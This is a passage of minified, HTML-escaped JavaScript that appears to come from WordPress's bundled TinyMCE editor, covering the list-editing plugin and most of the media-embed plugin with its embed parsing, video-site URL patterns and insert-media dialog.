r=ve.getParentList(e),o=ve.getSelectedSubLists(e);t=t||{},r&amp;&amp;0&lt;o.length?Jn(e,r,o,n,t):function(e,n,t,r){if(n!==e.getBody())if(n)if(n.nodeName!==t||Zn(r)){var o=I(e.selection.getRng(!0));Kn(e.dom,n,r),Gn(e.dom,e.dom.rename(n,t)),e.selection.setRng(_(o))}else Vn(e);else Qn(e,t,r)}(e,r,n,t)},mergeWithAdjacentLists:Gn},nt=g.DOM,tt=function(e,n){var t,r=n.parentNode;&quot;LI&quot;===r.nodeName&amp;&amp;r.firstChild===n&amp;&amp;((t=r.previousSibling)&amp;&amp;&quot;LI&quot;===t.nodeName?(t.appendChild(n),w(e,r)&amp;&amp;nt.remove(r)):nt.setStyle(r,&quot;listStyleType&quot;,&quot;none&quot;)),N(r)&amp;&amp;(t=r.previousSibling)&amp;&amp;&quot;LI&quot;===t.nodeName&amp;&amp;t.appendChild(n)},rt=function(n,e){v.each(v.grep(n.select(&quot;ol,ul&quot;,e)),function(e){tt(n,e)})},ot=function(e,n,t,r){var o,i,u=n.startContainer,s=n.startOffset;if(3===u.nodeType&amp;&amp;(t?s&lt;u.data.length:0&lt;s))return u;for(o=e.schema.getNonEmptyElements(),1===u.nodeType&amp;&amp;(u=d.getNode(u,s)),i=new l(u,r),t&amp;&amp;D(e.dom,u)&amp;&amp;i.next();u=i[t?&quot;next&quot;:&quot;prev2&quot;]();){if(&quot;LI&quot;===u.nodeName&amp;&amp;!u.hasChildNodes())return u;if(o[u.nodeName])return u;if(3===u.nodeType&amp;&amp;0&lt;u.data.length)return u}},it=function(e,n){var t=n.childNodes;return 1===t.length&amp;&amp;!N(t[0])&amp;&amp;e.isBlock(t[0])},ut=function(e,n,t){var r,o,i,u;if(o=it(e,t)?t.firstChild:t,it(i=e,u=n)&amp;&amp;i.remove(u.firstChild,!0),!w(e,n,!0))for(;r=n.firstChild;)o.appendChild(r)},st=function(n,e,t){var r,o,i=e.parentNode;if(k(n,e)&amp;&amp;k(n,t)){N(t.lastChild)&amp;&amp;(o=t.lastChild),i===t.lastChild&amp;&amp;T(i.previousSibling)&amp;&amp;n.remove(i.previousSibling),(r=t.lastChild)&amp;&amp;T(r)&amp;&amp;e.hasChildNodes()&amp;&amp;n.remove(r),w(n,t,!0)&amp;&amp;n.$(t).empty(),ut(n,e,t),o&amp;&amp;t.appendChild(o);var u=Ze(ye.fromDom(t),ye.fromDom(e))?n.getParents(e,N,t):[];n.remove(e),Z(u,function(e){w(n,e)&amp;&amp;e!==n.getRoot()&amp;&amp;n.remove(e)})}},at=function(e,n,t,r){var o,i,u,s=e.dom;if(s.isEmpty(r))i=t,u=r,(o=e).dom.$(u).empty(),st(o.dom,i,u),o.selection.setCursorLocation(u);else{var a=I(n);st(s,t,r),e.selection.setRng(_(a))}},ct=function(e,n){var t,r,o,i=e.dom,u=e.selection,s=u.getStart(),a=ve.getClosestListRootElm(e,s),c=i.getParent(u.getStart(),&quot;LI&quot;,a);if(c){if((t=c.parentNode)===e.getBody()&amp;&amp;w(i,t))return!0;if(r=x(u.getRng(!0)),(o=i.getParent(ot(e,r,n,a),&quot;LI&quot;,a))&amp;&amp;o!==c)return n?at(e,r,o,c):function(e,n,t,r){var o=I(n);st(e.dom,t,r);var i=_(o);e.selection.setRng(i)}(e,r,c,o),!0;if(!o&amp;&amp;!n)return Vn(e),!0}return!1},ft=function(e,n){return ct(e,n)||function(o,i){var u=o.dom,e=o.selection.getStart(),s=ve.getClosestListRootElm(o,e),a=u.getParent(e,u.isBlock,s);if(a&amp;&amp;u.isEmpty(a)){var n=x(o.selection.getRng(!0)),c=u.getParent(ot(o,n,i,s),&quot;LI&quot;,s);if(c)return o.undoManager.transact(function(){var e,n,t,r;n=a,t=s,r=(e=u).getParent(n.parentNode,e.isBlock,t),e.remove(n),r&amp;&amp;e.isEmpty(r)&amp;&amp;e.remove(r),et.mergeWithAdjacentLists(u,c.parentNode),o.selection.select(c,!0),o.selection.collapse(i)}),!0}return!1}(e,n)},dt=function(e,n){return e.selection.isCollapsed()?ft(e,n):(r=(t=e).selection.getStart(),o=ve.getClosestListRootElm(t,r),!!(t.dom.getParent(r,&quot;LI,DT,DD&quot;,o)||0&lt;ve.getSelectedListItems(t).length)&amp;&amp;(t.undoManager.transact(function(){t.execCommand(&quot;Delete&quot;),rt(t.dom,t.getBody())}),!0));var t,r,o},lt=function(n){n.on(&quot;keydown&quot;,function(e){e.keyCode===m.BACKSPACE?dt(n,!1)&amp;&amp;e.preventDefault():e.keyCode===m.DELETE&amp;&amp;dt(n,!0)&amp;&amp;e.preventDefault()})},mt=dt,gt=function(n){return{backspaceDelete:function(e){mt(n,e)}}},pt=function(n,t){return function(){var e=n.dom.getParent(n.selection.getStart(),&quot;UL,OL,DL&quot;);return e&amp;&amp;e.nodeName===t}},vt=function(t){t.on(&quot;BeforeExecCommand&quot;,function(e){var n=e.command.toLowerCase();&quot;indent&quot;===n?qn(t):&quot;outdent&quot;===n&amp;&amp;Wn(t)}),t.addCommand(&quot;InsertUnorderedList&quot;,function(e,n){et.toggleList(t,&quot;UL&quot;,n)}),t.addCommand(&quot;InsertOrderedList&quot;,function(e,n){et.toggleList(t,&quot;OL&quot;,n)}),t.addCommand(&quot;InsertDefinitionList&quot;,function(e,n){et.toggleList(t,&quot;DL&quot;,n)}),t.addCommand(&quot;RemoveList&quot;,function(){Vn(t)}),t.addQueryStateHandler(&quot;InsertUnorderedList&quot;,pt(t,&quot;UL&quot;)),t.addQueryStateHandler(&quot;InsertOrderedList&quot;,pt(t,&quot;OL&quot;)),t.addQueryStateHandler(&quot;InsertDefinitionList&quot;,pt(t,&quot;DL&quot;))},ht=function(e){return e.getParam(&quot;lists_indent_on_tab&quot;,!0)},yt=function(e){var n;ht(e)&amp;&amp;(n=e).on(&quot;keydown&quot;,function(e){e.keyCode!==m.TAB||m.metaKeyPressed(e)||n.undoManager.transact(function(){(e.shiftKey?Wn(n):qn(n))&amp;&amp;e.preventDefault()})}),lt(e)},Nt=function(n,i){return function(e){var o=e.control;n.on(&quot;NodeChange&quot;,function(e){var n=function(e,n){for(var t=0;t&lt;e.length;t++)if(n(e[t]))return t;return-1}(e.parents,b),t=-1!==n?e.parents.slice(0,n):e.parents,r=v.grep(t,N);o.active(0&lt;r.length&amp;&amp;r[0].nodeName===i)})}},St=function(e){var n,t,r;t=&quot;advlist&quot;,r=(n=e).settings.plugins?n.settings.plugins:&quot;&quot;,-1===v.inArray(r.split(/[ ,]/),t)&amp;&amp;(e.addButton(&quot;numlist&quot;,{active:!1,title:&quot;Numbered list&quot;,cmd:&quot;InsertOrderedList&quot;,onPostRender:Nt(e,&quot;OL&quot;)}),e.addButton(&quot;bullist&quot;,{active:!1,title:&quot;Bullet list&quot;,cmd:&quot;InsertUnorderedList&quot;,onPostRender:Nt(e,&quot;UL&quot;)})),e.addButton(&quot;indent&quot;,{icon:&quot;indent&quot;,title:&quot;Increase indent&quot;,cmd:&quot;Indent&quot;})};f.add(&quot;lists&quot;,function(e){return yt(e),St(e),vt(e),gt(e)})}(window);
// Source: wp-includes/js/tinymce/plugins/media/plugin.min.js
!function(){&quot;use strict&quot;;var e,t,r,n,i=tinymce.util.Tools.resolve(&quot;tinymce.PluginManager&quot;),o=tinymce.util.Tools.resolve(&quot;tinymce.Env&quot;),v=tinymce.util.Tools.resolve(&quot;tinymce.util.Tools&quot;),w=function(e){return e.getParam(&quot;media_scripts&quot;)},b=function(e){return e.getParam(&quot;audio_template_callback&quot;)},y=function(e){return e.getParam(&quot;video_template_callback&quot;)},a=function(e){return e.getParam(&quot;media_live_embeds&quot;,!0)},u=function(e){return e.getParam(&quot;media_filter_html&quot;,!0)},s=function(e){return e.getParam(&quot;media_url_resolver&quot;)},m=function(e){return e.getParam(&quot;media_alt_source&quot;,!0)},d=function(e){return e.getParam(&quot;media_poster&quot;,!0)},h=function(e){return e.getParam(&quot;media_dimensions&quot;,!0)},f=function(e){var t=e,r=function(){return t};return{get:r,set:function(e){t=e},clone:function(){return f(r())}}},c=function(){},l=function(e){return function(){return e}},p=l(!1),g=l(!0),x=function(){return O},O=(e=function(e){return e.isNone()},n={fold:function(e,t){return e()},is:p,isSome:p,isNone:g,getOr:r=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||&quot;error: getOrDie called on none.&quot;)},getOrNull:l(null),getOrUndefined:l(undefined),or:r,orThunk:t,map:x,each:c,bind:x,exists:p,forall:g,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:l(&quot;none()&quot;)},Object.freeze&amp;&amp;Object.freeze(n),n),j=function(r){var e=l(r),t=function(){return i},n=function(e){return e(r)},i={fold:function(e,t){return t(r)},is:function(e){return r===e},isSome:g,isNone:p,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return j(e(r))},each:function(e){e(r)},bind:n,exists:n,forall:n,filter:function(e){return e(r)?i:O},toArray:function(){return[r]},toString:function(){return&quot;some(&quot;+r+&quot;)&quot;},equals:function(e){return e.is(r)},equals_:function(e,t){return e.fold(p,function(e){return t(r,e)})}};return i},_=x,S=function(e){return null===e||e===undefined?O:j(e)},k=Object.hasOwnProperty,N=function(e,t){return M(e,t)?S(e[t]):_()},M=function(e,t){return k.call(e,t)},T=tinymce.util.Tools.resolve(&quot;tinymce.dom.DOMUtils&quot;),z=tinymce.util.Tools.resolve(&quot;tinymce.html.SaxParser&quot;),A=function(e,t){if(e)for(var r=0;r&lt;e.length;r++)if(-1!==t.indexOf(e[r].filter))return e[r]},C=T.DOM,$=function(e){return e.replace(/px$/,&quot;&quot;)},P=function(a,e){var c=f(!1),u={};return z({validate:!1,allow_conditional_comments:!0,special:&quot;script,noscript&quot;,start:function(e,t){if(c.get());else if(M(t.map,&quot;data-ephox-embed-iri&quot;))c.set(!0),i=(n=t).map.style,o=i?C.parseStyle(i):{},u={type:&quot;ephox-embed-iri&quot;,source1:n.map[&quot;data-ephox-embed-iri&quot;],source2:&quot;&quot;,poster:&quot;&quot;,width:N(o,&quot;max-width&quot;).map($).getOr(&quot;&quot;),height:N(o,&quot;max-height&quot;).map($).getOr(&quot;&quot;)};else{if(u.source1||&quot;param&quot;!==e||(u.source1=t.map.movie),&quot;iframe&quot;!==e&amp;&amp;&quot;object&quot;!==e&amp;&amp;&quot;embed&quot;!==e&amp;&amp;&quot;video&quot;!==e&amp;&amp;&quot;audio&quot;!==e||(u.type||(u.type=e),u=v.extend(t.map,u)),&quot;script&quot;===e){var r=A(a,t.map.src);if(!r)return;u={type:&quot;script&quot;,source1:t.map.src,width:r.width,height:r.height}}&quot;source&quot;===e&amp;&amp;(u.source1?u.source2||(u.source2=t.map.src):u.source1=t.map.src),&quot;img&quot;!==e||u.poster||(u.poster=t.map.src)}var n,i,o}}).parse(e),u.source1=u.source1||u.src||u.data,u.source2=u.source2||&quot;&quot;,u.poster=u.poster||&quot;&quot;,u},F=tinymce.util.Tools.resolve(&quot;tinymce.util.Promise&quot;),D=function(e){var t={mp3:&quot;audio/mpeg&quot;,wav:&quot;audio/wav&quot;,mp4:&quot;video/mp4&quot;,webm:&quot;video/webm&quot;,ogg:&quot;video/ogg&quot;,swf:&quot;application/x-shockwave-flash&quot;}[e.toLowerCase().split(&quot;.&quot;).pop()];return t||&quot;&quot;},L=tinymce.util.Tools.resolve(&quot;tinymce.html.Schema&quot;),E=tinymce.util.Tools.resolve(&quot;tinymce.html.Writer&quot;),J=T.DOM,R=function(e){return/^[0-9.]+$/.test(e)?e+&quot;px&quot;:e},U=function(e,t){for(var r in t){var n=&quot;&quot;+t[r];if(e.map[r])for(var i=e.length;i--;){var o=e[i];o.name===r&amp;&amp;(n?(e.map[r]=n,o.value=n):(delete e.map[r],e.splice(i,1)))}else n&amp;&amp;(e.push({name:r,value:n}),e.map[r]=n)}},W=function(e,c,u){var s,l=E(),m=f(!1),d=0;return z({validate:!1,allow_conditional_comments:!0,special:&quot;script,noscript&quot;,comment:function(e){l.comment(e)},cdata:function(e){l.cdata(e)},text:function(e,t){l.text(e,t)},start:function(e,t,r){if(m.get());else if(M(t.map,&quot;data-ephox-embed-iri&quot;))m.set(!0),n=c,o=(i=t).map.style,(a=o?J.parseStyle(o):{})[&quot;max-width&quot;]=R(n.width),a[&quot;max-height&quot;]=R(n.height),U(i,{style:J.serializeStyle(a)});else{switch(e){case&quot;video&quot;:case&quot;object&quot;:case&quot;embed&quot;:case&quot;img&quot;:case&quot;iframe&quot;:c.height!==undefined&amp;&amp;c.width!==undefined&amp;&amp;U(t,{width:c.width,height:c.height})}if(u)switch(e){case&quot;video&quot;:U(t,{poster:c.poster,src:&quot;&quot;}),c.source2&amp;&amp;U(t,{src:&quot;&quot;});break;case&quot;iframe&quot;:U(t,{src:c.source1});break;case&quot;source&quot;:if(++d&lt;=2&amp;&amp;(U(t,{src:c[&quot;source&quot;+d],type:c[&quot;source&quot;+d+&quot;mime&quot;]}),!c[&quot;source&quot;+d]))return;break;case&quot;img&quot;:if(!c.poster)return;s=!0}}var n,i,o,a;l.start(e,t,r)},end:function(e){if(!m.get()){if(&quot;video&quot;===e&amp;&amp;u)for(var t=1;t&lt;=2;t++)if(c[&quot;source&quot;+t]){var r=[];r.map={},d&lt;t&amp;&amp;(U(r,{src:c[&quot;source&quot;+t],type:c[&quot;source&quot;+t+&quot;mime&quot;]}),l.start(&quot;source&quot;,r,!0))}if(c.poster&amp;&amp;&quot;object&quot;===e&amp;&amp;u&amp;&amp;!s){var n=[];n.map={},U(n,{src:c.poster,width:c.width,height:c.height}),l.start(&quot;img&quot;,n,!0)}}l.end(e)}},L({})).parse(e),l.getContent()},H=[{regex:/youtu\.be\/([\w\-_\?&amp;=.]+)/i,type:&quot;iframe&quot;,w:560,h:314,url:&quot;//www.youtube.com/embed/$1&quot;,allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&amp;]+)(&amp;([a-z0-9&amp;=\-_]+))?/i,type:&quot;iframe&quot;,w:560,h:314,url:&quot;//www.youtube.com/embed/$2?$4&quot;,allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\?&amp;=\-_]+)/i,type:&quot;iframe&quot;,w:560,h:314,url:&quot;//www.youtube.com/embed/$1&quot;,allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:&quot;iframe&quot;,w:425,h:350,url:&quot;//player.vimeo.com/video/$1?title=0&amp;byline=0&amp;portrait=0&amp;color=8dc7dc&quot;,allowFullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:&quot;iframe&quot;,w:425,h:350,url:&quot;//player.vimeo.com/video/$2?title=0&amp;amp;byline=0&quot;,allowFullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:&quot;iframe&quot;,w:425,h:350,url:&#039;//maps.google.com/maps/ms?msid=$2&amp;output=embed&quot;&#039;,allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:&quot;iframe&quot;,w:480,h:270,url:&quot;//www.dailymotion.com/embed/video/$1&quot;,allowFullscreen:!0},{regex:/dai\.ly\/([^_]+)/,type:&quot;iframe&quot;,w:480,h:270,url:&quot;//www.dailymotion.com/embed/video/$1&quot;,allowFullscreen:!0}],I=function(r,e){var n=v.extend({},e);if(!n.source1&amp;&amp;(v.extend(n,P(w(r),n.embed)),!n.source1))return&quot;&quot;;n.source2||(n.source2=&quot;&quot;),n.poster||(n.poster=&quot;&quot;),n.source1=r.convertURL(n.source1,&quot;source&quot;),n.source2=r.convertURL(n.source2,&quot;source&quot;),n.source1mime=D(n.source1),n.source2mime=D(n.source2),n.poster=r.convertURL(n.poster,&quot;poster&quot;);var t,i,o=(t=n.source1,0&lt;(i=H.filter(function(e){return e.regex.test(t)})).length?v.extend({},i[0],{url:function(e,t){for(var r=e.regex.exec(t),n=e.url,i=function(e){n=n.replace(&quot;$&quot;+e,function(){return r[e]?r[e]:&quot;&quot;})},o=0;o&lt;r.length;o++)i(o);return n.replace(/\?$/,&quot;&quot;)}(i[0],t)}):null);if(o&amp;&amp;(n.source1=o.url,n.type=o.type,n.allowFullscreen=o.allowFullscreen,n.width=n.width||o.w,n.height=n.height||o.h),n.embed)return W(n.embed,n,!0);var a=A(w(r),n.source1);a&amp;&amp;(n.type=&quot;script&quot;,n.width=a.width,n.height=a.height);var c,u,s,l,m,d,h,f,p=b(r),g=y(r);return n.width=n.width||300,n.height=n.height||150,v.each(n,function(e,t){n[t]=r.dom.encode(e)}),&quot;iframe&quot;===n.type?(f=(h=n).allowFullscreen?&#039; allowFullscreen=&quot;1&quot;&#039;:&quot;&quot;,&#039;&lt;iframe src=&quot;&#039;+h.source1+&#039;&quot; width=&quot;&#039;+h.width+&#039;&quot; height=&quot;&#039;+h.height+&#039;&quot;&#039;+f+&quot;&gt;&lt;/iframe&gt;&quot;):&quot;application/x-shockwave-flash&quot;===n.source1mime?(d=&#039;&lt;object data=&quot;&#039;+(m=n).source1+&#039;&quot; width=&quot;&#039;+m.width+&#039;&quot; height=&quot;&#039;+m.height+&#039;&quot; type=&quot;application/x-shockwave-flash&quot;&gt;&#039;,m.poster&amp;&amp;(d+=&#039;&lt;img src=&quot;&#039;+m.poster+&#039;&quot; width=&quot;&#039;+m.width+&#039;&quot; height=&quot;&#039;+m.height+&#039;&quot; /&gt;&#039;),d+=&quot;&lt;/object&gt;&quot;):-1!==n.source1mime.indexOf(&quot;audio&quot;)?(s=n,(l=p)?l(s):&#039;&lt;audio controls=&quot;controls&quot; src=&quot;&#039;+s.source1+&#039;&quot;&gt;&#039;+(s.source2?&#039;\n&lt;source src=&quot;&#039;+s.source2+&#039;&quot;&#039;+(s.source2mime?&#039; type=&quot;&#039;+s.source2mime+&#039;&quot;&#039;:&quot;&quot;)+&quot; /&gt;\n&quot;:&quot;&quot;)+&quot;&lt;/audio&gt;&quot;):&quot;script&quot;===n.type?&#039;&lt;script src=&quot;&#039;+n.source1+&#039;&quot;&gt;&lt;\/script&gt;&#039;:(c=n,(u=g)?u(c):&#039;&lt;video width=&quot;&#039;+c.width+&#039;&quot; height=&quot;&#039;+c.height+&#039;&quot;&#039;+(c.poster?&#039; poster=&quot;&#039;+c.poster+&#039;&quot;&#039;:&quot;&quot;)+&#039; controls=&quot;controls&quot;&gt;\n&lt;source src=&quot;&#039;+c.source1+&#039;&quot;&#039;+(c.source1mime?&#039; type=&quot;&#039;+c.source1mime+&#039;&quot;&#039;:&quot;&quot;)+&quot; /&gt;\n&quot;+(c.source2?&#039;&lt;source src=&quot;&#039;+c.source2+&#039;&quot;&#039;+(c.source2mime?&#039; type=&quot;&#039;+c.source2mime+&#039;&quot;&#039;:&quot;&quot;)+&quot; /&gt;\n&quot;:&quot;&quot;)+&quot;&lt;/video&gt;&quot;)},q={},V=function(t){return function(e){return I(t,e)}},B=function(e,t){var r,n,i,o,a,c=s(e);return c?(i=t,o=V(e),a=c,new F(function(t,e){var r=function(e){return e.html&amp;&amp;(q[i.source1]=e),t({url:i.source1,html:e.html?e.html:o(i)})};q[i.source1]?r(q[i.source1]):a({url:i.source1},r,e)})):(r=t,n=V(e),new F(function(e){e({html:n(r),url:r.source1})}))},G=function(e){return q.hasOwnProperty(e)},K=function(t){return function(e){return e?e.style[t].replace(/px$/,&quot;&quot;):&quot;&quot;}},Q=function(n){return function(e,t){var r;e&amp;&amp;(e.style[n]=/^[0-9.]+$/.test(r=t)?r+&quot;px&quot;:r)}},X={getMaxWidth:K(&quot;maxWidth&quot;),getMaxHeight:K(&quot;maxHeight&quot;),setMaxWidth:Q(&quot;maxWidth&quot;),setMaxHeight:Q(&quot;maxHeight&quot;)},Y=function(e,t){e.state.set(&quot;oldVal&quot;,e.value()),t.state.set(&quot;oldVal&quot;,t.value())},Z=function(e,t){var r=e.find(&quot;#width&quot;)[0],n=e.find(&quot;#height&quot;)[0],i=e.find(&quot;#constrain&quot;)[0];r&amp;&amp;n&amp;&amp;i&amp;&amp;t(r,n,i.checked())},ee=function(e,t,r){var n=e.state.get(&quot;oldVal&quot;),i=t.state.get(&quot;oldVal&quot;),o=e.value(),a=t.value();r&amp;&amp;n&amp;&amp;i&amp;&amp;o&amp;&amp;a&amp;&amp;(o!==n?(a=Math.round(o/n*a),isNaN(a)||t.value(a)):(o=Math.round(a/i*o),isNaN(o)||e.value(o))),Y(e,t)},te=function(e){Z(e,ee)},re=function(e){var t=function(){e(function(e){te(e)})};return{type:&quot;container&quot;,label:&quot;Dimensions&quot;,layout:&quot;flex&quot;,align:&quot;center&quot;,spacing:5,items:[{name:&quot;width&quot;,type:&quot;textbox&quot;,maxLength:5,size:5,onchange:t,ariaLabel:&quot;Width&quot;},{type:&quot;label&quot;,text:&quot;x&quot;},{name:&quot;height&quot;,type:&quot;textbox&quot;,maxLength:5,size:5,onchange:t,ariaLabel:&quot;Height&quot;},{name:&quot;constrain&quot;,type:&quot;checkbox&quot;,checked:!0,text:&quot;Constrain proportions&quot;}]}},ne=function(e){Z(e,Y)},ie=te,oe=o.ie&amp;&amp;o.ie&lt;=8?&quot;onChange&quot;:&quot;onInput&quot;,ae=function(r){return function(e){var t=e&amp;&amp;e.msg?&quot;Media embed handler error: &quot;+e.msg:&quot;Media embed handler threw unknown error.&quot;;r.notificationManager.open({type:&quot;error&quot;,text:t})}},ce=function(i,o){return function(e){var t=e.html,r=i.find(&quot;#embed&quot;)[0],n=v.extend(P(w(o),t),{source1:e.url});i.fromJSON(n),r&amp;&amp;(r.value(t),ie(i))}},ue=function(e,t){var r=e.dom.select(&quot;img[data-mce-object]&quot;);e.insertContent(t),function(e,t){var r,n,i=e.dom.select(&quot;img[data-mce-object]&quot;);for(r=0;r&lt;t.length;r++)for(n=i.length-1;0&lt;=n;n--)t[r]===i[n]&amp;&amp;i.splice(n,1);e.selection.select(i[0])}(e,r),e.nodeChanged()},se=function(n){var i,t,e,r,o,a=[{name:&quot;source1&quot;,type:&quot;filepicker&quot;,filetype:&quot;media&quot;,size:40,autofocus:!0,label:&quot;Source&quot;,onpaste:function(){setTimeout(function(){B(n,i.toJSON()).then(ce(i,n))[&quot;catch&quot;](ae(n))},1)},onchange:function(e){var r,t;B(n,i.toJSON()).then(ce(i,n))[&quot;catch&quot;](ae(n)),r=i,t=e.meta,v.each(t,function(e,t){r.find(&quot;#&quot;+t).value(e)})},onbeforecall:function(e){e.meta=i.toJSON()}}],c=[];if(m(n)&amp;&amp;c.push({name:&quot;source2&quot;,type:&quot;filepicker&quot;,filetype:&quot;media&quot;,size:40,label:&quot;Alternative source&quot;}),d(n)&amp;&amp;c.push({name:&quot;poster&quot;,type:&quot;filepicker&quot;,filetype:&quot;image&quot;,size:40,label:&quot;Poster&quot;}),h(n)){var u=re(function(e){e(i),t=i.toJSON(),i.find(&quot;#embed&quot;).value(W(t.embed,t))});a.push(u)}r=(e=n).selection.getNode(),o=r.getAttribute(&quot;data-ephox-embed-iri&quot;),t=o?{source1:o,&quot;data-ephox-embed-iri&quot;:o,width:X.getMaxWidth(r),height:X.getMaxHeight(r)}:r.getAttribute(&quot;data-mce-object&quot;)?P(w(e),e.serializer.serialize(r,{selection:!0})):{};var s={id:&quot;mcemediasource&quot;,type:&quot;textbox&quot;,flex:1,name:&quot;embed&quot;,value:function(e){var t=e.selection.getNode();if(t.getAttribute(&quot;data-mce-object&quot;)||t.getAttribute(&quot;data-ephox-embed-iri&quot;))return e.selection.getContent()}(n),multiline:!0,rows:5,label:&quot;Source&quot;};s[oe]=function(){t=v.extend({},P(w(n),this.value())),this.parent().parent().fromJSON(t)};var l=[{title:&quot;General&quot;,type:&quot;form&quot;,items:a},{title:&quot;Embed&quot;,type:&quot;container&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,padding:10,spacing:10,items:[{type:&quot;label&quot;,text:&quot;Paste your embed code below:&quot;,forId:&quot;mcemediasource&quot;},s]}];0&lt;c.length&amp;&amp;l.push({title:&quot;Advanced&quot;,type:&quot;form&quot;,items:c}),i=n.windowManager.open({title:&quot;Insert/edit media&quot;,data:t,bodyType:&quot;tabpanel&quot;,body:l,onSubmit:function(){var t,e;ie(i),t=n,(e=i.toJSON()).embed=W(e.embed,e),e.embed&amp;&amp;G(e.source1)?ue(t,e.embed):B(t,e).then(function(e){ue(t,e.html)})[&quot;catch&quot;](ae(t))}}),ne(i)},le=function(e){return{showDialog:function(){se(e)}}},me=function(e){e.addCommand(&quot;mceMedia&quot;,function(){se(e)})},de=tinymce.util.Tools.resolve(&quot;tinymce.html.Node&quot;),he=function(o,e){if(!1===u(o))return e;var a,c=E();return z({validate:!1,allow_conditional_comments:!1,special:&quot;script,noscript&quot;,comment:function(e){c.comment(e)},cdata:function(e){c.cdata(e)},text:function(e,t){c.text(e,t)},start:function(e,t,r){if(a=!0,&quot;script&quot;!==e&amp;&amp;&quot;noscript&quot;!==e&amp;&amp;&quot;svg&quot;!==e){for(var n=t.length-1;0&lt;=n;n--){var i=t[n].name;0===i.indexOf(&quot;on&quot;)&amp;&amp;(delete t.map[i],t.splice(n,1)),&quot;style&quot;===i&amp;&amp;(t[n].value=o.dom.serializeStyle(o.dom.parseStyle(t[n].value),e))}c.start(e,t,r),a=!1}},end:function(e){a||c.end(e)}},L({})).parse(e),c.getContent()},fe=function(e,t){var r,n=t.name;return(r=new de(&quot;img&quot;,1)).shortEnded=!0,ge(e,t,r),r.attr({width:t.attr(&quot;width&quot;)||&quot;300&quot;,height:t.attr(&quot;height&quot;)||(&quot;audio&quot;===n?&quot;30&quot;:&quot;150&quot;),style:t.attr(&quot;style&quot;),src:o.transparentSrc,&quot;data-mce-object&quot;:n,&quot;class&quot;:&quot;mce-object mce-object-&quot;+n}),r},pe=function(e,t){var r,n,i,o=t.name;return(r=new de(&quot;span&quot;,1)).attr({contentEditable:&quot;false&quot;,style:t.attr(&quot;style&quot;),&quot;data-mce-object&quot;:o,&quot;class&quot;:&quot;mce-preview-object mce-object-&quot;+o}),ge(e,t,r),(n=new de(o,1)).attr({src:t.attr(&quot;src&quot;),allowfullscreen:t.attr(&quot;allowfullscreen&quot;),style:t.attr(&quot;style&quot;),&quot;class&quot;:t.attr(&quot;class&quot;),width:t.attr(&quot;width&quot;),height:t.attr(&quot;height&quot;),frameborder:&quot;0&quot;}),(i=new de(&quot;span&quot;,1)).attr(&quot;class&quot;,&quot;mce-shim&quot;),r.append(n),r.append(i),r},ge=function(e,t,r){var n,i,o,a,c;for(a=(o=t.attributes).length;a--;)n=o[a].name,i=o[a].value,&quot;width&quot;!==n&amp;&amp;&quot;height&quot;!==n&amp;&amp;&quot;style&quot;!==n&amp;&amp;(&quot;data&quot;!==n&amp;&amp;&quot;src&quot;!==n||(i=e.convertURL(i,n)),r.attr(&quot;data-mce-p-&quot;+n,i));(c=t.firstChild&amp;&amp;t.firstChild.value)&amp;&amp;(r.attr(&quot;data-mce-html&quot;,escape(he(e,c))),r.firstChild=null)},ve=function(e){for(;e=e.parent;)if(e.attr(&quot;data-ephox-embed-iri&quot;))return!0;return!1},we=function(i){return function(e){for(var t,r,n=e.length;n--;)(t=e[n]).parent&amp;&amp;(t.parent.attr(&quot;data-mce-object&quot;)||(&quot;script&quot;!==t.name||(r=A(w(i),t.attr(&quot;src&quot;))))&amp;&amp;(r&amp;&amp;(r.width&amp;&amp;t.attr(&quot;width&quot;,r.width.toString()),r.height&amp;&amp;t.attr(&quot;height&quot;,r.height.toString())),&quot;iframe&quot;===t.name&amp;&amp;a(i)&amp;&amp;o.ceFalse?ve(t)||t.replace(pe(i,t)):ve(t)||t.replace(fe(i,t))))}},be=function(d){d.on(&quot;preInit&quot;,function(){var t=d.schema.getSpecialElements();v.each(&quot;video audio iframe object&quot;.split(&quot; &quot;),function(e){t[e]=new RegExp(&quot;&lt;/&quot;+e+&quot;[^&gt;]*&gt;&quot;,&quot;gi&quot;)});var r=d.schema.getBoolAttrs();v.each(&quot;webkitallowfullscreen mozallowfullscreen allowfullscreen&quot;.split(&quot; &quot;),function(e){r[e]={}}),d.parser.addNodeFilter(&quot;iframe,video,audio,object,embed,script&quot;,we(d)),d.serializer.addAttributeFilter(&quot;data-mce-object&quot;,function(e,t){for(var r,n,i,o,a,c,u,s,l=e.length;l--;)if((r=e[l]).parent){for(u=r.attr(t),n=new de(u,1),&quot;audio&quot;!==u&amp;&amp;&quot;script&quot;!==u&amp;&amp;((s=r.attr(&quot;class&quot;))&amp;&amp;-1!==s.indexOf(&quot;mce-preview-object&quot;)?n.attr({width:r.firstChild.attr(&quot;width&quot;),height:r.firstChild.attr(&quot;height&quot;)}):n.attr({width:r.attr(&quot;width&quot;),height:r.attr(&quot;height&quot;)})),n.attr({style:r.attr(&quot;style&quot;)}),i=(o=r.attributes).length;i--;){var m=o[i].name;0===m.indexOf(&quot;data-mce-p-&quot;)&amp;&amp;n.attr(m.substr(11),o[i].value)}&quot;script&quot;===u&amp;&amp;n.attr(&quot;type&quot;,&quot;text/javascript&quot;),(a=r.attr(&quot;data-mce-html&quot;))&amp;&amp;((c=new de(&quot;#text&quot;,3)).raw=!0,c.value=he(d,unescape(a)),n.append(c)),r.replace(n)}})}),d.on(&quot;setContent&quot;,function(){d.$(&quot;span.mce-preview-object&quot;).each(function(e,t){var r=d.$(t);0===r.find(&quot;span.mce-shim&quot;,t).length&amp;&amp;r.append(&#039;&lt;span class=&quot;mce-shim&quot;&gt;&lt;/span&gt;&#039;)})})},ye=function(e){e.on(&quot;ResolveName&quot;,function(e){var t;1===e.target.nodeType&amp;&amp;(t=e.target.getAttribute(&quot;data-mce-object&quot;))&amp;&amp;(e.name=t)})},xe=function(t){t.on(&quot;click keyup&quot;,function(){var 